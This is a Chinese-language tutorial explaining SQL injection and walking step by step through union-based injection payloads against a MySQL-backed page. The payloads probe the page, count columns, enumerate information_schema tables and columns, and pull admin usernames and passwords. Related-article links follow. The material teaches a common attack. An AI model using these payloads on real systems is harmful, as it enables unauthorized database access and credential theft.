mysql数据库sql注入原理_SQL注入原理解析以及举例1
sql注入是指web应用程序对用户输入数据的合法性没有判断,导致攻击者可以构造不同的sql语句来实现对数据库的操作。
sql注入漏洞产生满足条件:
1;用户能够控制数据的输入。
2;原本需要执行的代码,拼接了用户的输入。
举例:
攻击流程:
1;判断是否存在sql注入漏洞。
2;判断网页存在字段数。
3;判断回显点。
4;获取信息。
测试开始:
测试目标获取管理员账号密码
一;判断是否存在sql注入漏洞。
1.1;构建sql语句:?id=1 and 1=2 查看页面是否正常。结果页面显示不正常。
注释:因为id=1为真(可正常访问页面),且1=2为假,所以and条件永远不会成立。对于web应用不会返回结果给用户。则攻击者能看到的是一个错误的界面或者页面结果为空。当然,如果攻击者构造的请求异常,也会导致页面访问不正常。
1.2;构建新的sql语句,确定是否存在语句逻辑错误导致页面不正常。?id=1 and 1=1 结果页面正常,初步判断存在sql漏洞。
注释:1=1 为真,and条件语句成立。
二;判断字段数:
2.1;构建sql语句:?id=1 and 1=1 order by 1 判断网页是否正常。?id=1 and 1=1 order by 2 判断网页是否正常。?id=1 and 1=1 order by 3 判断网页是否正常。结果:?id=1 and 1=1 order by 3 网页显示不正常,可以判断字段数为2
注释:order by 语句用来根据指定的列对结果集进行排序。详细请参考网址:http://www.w3school.com.cn/sql/sql_orderby.asp “order by 1”表示对第一栏位进行排序,
三;判断回显点:构建sql语句:?id=1 and 1=2 union select 1,2 (之后的查询结果将显示在下图红框位置)
注释:union 操作符用于合并两个或多个select语句的结果集,union内部的select语句必须拥有相同数量的列。详细参考:http://www.w3school.com.cn/sql/sql_union.asp
四; 获取信息
4.1;查看当前数据库名以及数据库版本。构建sql语句:?id=1 and 1=2 union select 1,database();?id=1 and 1=2 unio select 1, version()
注释:union select 1 ,database(),其中数字1占一列,凑数,用来满足union定义。database():表示网站使用的数据库,version():表示当前mysql的版本,usr():当前mysql的用户。
4.2;查询当前数据库以及表名称。构建sql语句:?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
注释:information_schema数据库用于存储数据库元数据,例如:数据库名,表名,列的数据类型,访问权限等。tables用来存储数据库中的表的信息,包括表属于哪个数据库,表的类型,存储引擎,创建时间等。table_schema和table_schema是表tables中的数据库库名和表名。limit 0,1 表示第一行显示一行数据。limit 1,1表示第二行显示一行数据。
4.3;查询表admin中的字段名。查询三个字段:ID username password
构建SQL语句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
构建SQL语句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1
构建SQL语句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1
注释:columns表存储表中的列的信息。其中包含数据库库名table_schema,表名table_name ,字段名column_name。
4.4;查询用户名称:?id=1 and 1=2 union select 1,username from admin
4.5;查询密码:?id=1 and 1=2 union select 1,password from admin
mysql数据库sql注入原理_SQL注入原理解析以及举例1相关推荐
- mysql oracle mvcc_PostgreSQL、Oracle/MySQL和SQL Server的MVCC实现原理方式
PostgreSQL.Oracle/MySQL和SQL Server的MVCC实现原理方式 关系数据库管理系统使用MVCC(Multiversion Concurrency Control多版本并发控 ...
- oracle与mysql执行sql原理_PostgreSQL、Oracle/MySQL和SQL Server的MVCC实现原理方式
PostgreSQL.Oracle/MySQL和SQL Server的MVCC实现原理方式 关系数据库管理系统使用MVCC(Multiversion Concurrency Control多版本并发控 ...
- 统一javaweb项目和mysql数据库时间UTC时间方法及原理
统一javaweb项目和mysql数据库时间UTC时间方法及原理 文章目录 统一javaweb项目和mysql数据库时间UTC时间方法及原理 前言 UTC时间与 GMT时间 时间戳和时区 mysql时 ...
- mysql jdbc 绑定变量_jdbc测试mysql数据库sql预解析(绑定变量)
jdbc测试mysql数据库sql预解析(绑定变量) 用习惯了oracle,学习mysql,想测试一下mysql绑定变量的效果.以前看网上介绍大部份都说mysql没有sql共享池的概念,所以也不存在s ...
- MySQL数据库SQL层级优化
MySQL数据库SQL层级优化 本篇主涉及MySQL SQL Statements层面的优化. 首先,推荐一个链接为万物之始:http://dev.mysql.com/doc/refman/5.0/e ...
- mysql数据库电脑配置_教你怎样正确配置MySQL数据库SQL Mail -电脑资料
本文用个人经历来讲解SQL Mail的配置与使用, 用SQL Mail主要是要完成这样的功能: >用户在网上注册后,系统将随机产生的密码发送到用户登记的Email. >用户在论坛的帖子有回 ...
- 简单MySQL数据库SQL文件
简单MySQL数据库SQL文件 Book数据库表范例+记录 /* Navicat MySQL Data TransferSource Server : pig Source Server Versio ...
- mysql hy000 1030_解决MySQL数据库SQL Error:1030, SQLState: HY000,Got error 28 from storage engine...
解决MySQL数据库SQL Error:1030, SQLState: HY000,Got error 28 from storage engine MySQL数据库报以下错误: ERROR 22-0 ...
- 资源放送丨《Oracle数据库SQL执行计划的取得和解析》PPT视频
前段时间,墨天轮邀请Oracle优化方面的资深专家 陈晓辉 老师分享了<Oracle数据库SQL执行计划的取得和解析>,在这里我们共享一下PPT和视频,供大家参考学习. Oracle优化资 ...
- 2场直播丨Oracle数据库SQL执行计划的取得和解析、一次特殊的 Oralce 硬解析性能问题的技术分享...
1. Oracle数据库SQL执行计划的取得和解析- 2021.02.23 2月23日(周二)晚八点直播课,Oracle优化资深专家陈晓辉,以专业ORACLE数据库技术支持工程师的角度讲解SQL文的执 ...
最新文章
- CUDA Samples: Streams' usage
- Python加密—RSA加密
- Bootloader的基本概念
- tomcat安装部署
- 操作系统原理:全局页面置换算法、工作集页置换、常驻集页置换、抖动问题
- PHP中如何配置smarty框架实现PHP代码和HTML代码分离
- aop实现原理_SpringAOP原理分析
- 优酷视频如何分享个人主页
- JAVA的字符串拼接与性能
- linux6 rac 11g,oracle linux 6.操作系统oracle 11g rac
- 浙大远程教c语言在线作业答案,浙大远程教育_会计算化_在线作业答案.docx
- LinkedIn应用开发系列(三) --认证Request token
- SwitchResX for Mac(屏幕分辨率修改工具)
- CDA LEVELII考试内容记录学习--目录篇
- linux flash 存储寿命,关于 Flash 存储,你应该知道的一些事情
- 华为牛人的十年工作感悟
- 获取文件名,文件名后缀以及elementui多张图片回显
- 【论文速览】PV-RCNN: Point-Voxel Feature Set Abstraction for 3D Object Detection
- plt.contour
- 鸡兔同笼python程序怎么写_【鸡】鸡的功效_鸡图片_食材百科_美食杰
热门文章
- centOS docker容器的安装
- matlab里用fix函数,Matlab基本函数-fix函数
- C语言 define 防止头文件重复包含 - C语言零基础入门教程
- 本地创建分支push到github
- linux查看发起ddos攻击的ip,在Linux上使用netstat命令查证DDOS攻击的方法
- math python 向上取整_计算机等级考试二级Python语言模拟试卷单选解答详解第1期...
- matlab里inline定义矩阵,Matlab中的inline函数_matlab中inline函数
- oracle裁员原因_Oracle大幅度裁员意味着什么?
- leetcode 贪心_利用贪心算法解LeetCode第1253题:重构2行二进制矩阵
- html标记的索引,基于HTML标记分析及中文切词的网页索引研究与实现